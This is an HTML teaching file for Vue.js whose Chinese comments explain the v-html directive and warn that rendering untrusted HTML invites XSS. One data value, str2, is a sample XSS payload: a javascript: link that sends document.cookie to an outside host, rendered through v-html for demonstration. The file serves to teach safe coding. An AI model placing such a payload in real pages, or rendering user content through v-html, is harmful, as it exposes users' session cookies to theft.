<!DOCTYPE html>
<html>
    <head>
        <title>1</title>
        <script type="text/javascript" src="../js/vue.js"></script>
    </head>
    <body>
      <!-- 
      v-htm1指令：
        1.作用：向指定节点中渲染包含html结构的内容。
        2.与插值语法的区别：
        （1）.v-html会替换掉节点中所有的内容，{{xx}}则不会。
        （2）.v-html可以识别html结构。
        3.严重注意：V-html有安全性问题！！！！
        （1）.在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
        （2）.一定要在可信的内容上使用v-html，永不要用在用户提交的内容上！  
      -->
       <div id="root">
            <h1></h1>
            <div>{{name}}</div>
            <div v-text="name">11111</div>
            <div v-text="str">11111</div>
            <div v-html="str">11111</div>
            <div v-html="str2">22222</div>
        </div>
        <script type="text/javascript">
            Vue.config.productionTip = false
            new Vue({
                el: '#root', 
                data(){
                    return {
                        name:'aaaaaaaa',
                        str:'<h3>hahaha!</h3>',
                        // 被人给xss了.防止被人攻击
                        str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>dianwo</a>'
                    }
                }
            })
        </script>
    </body>
</html>
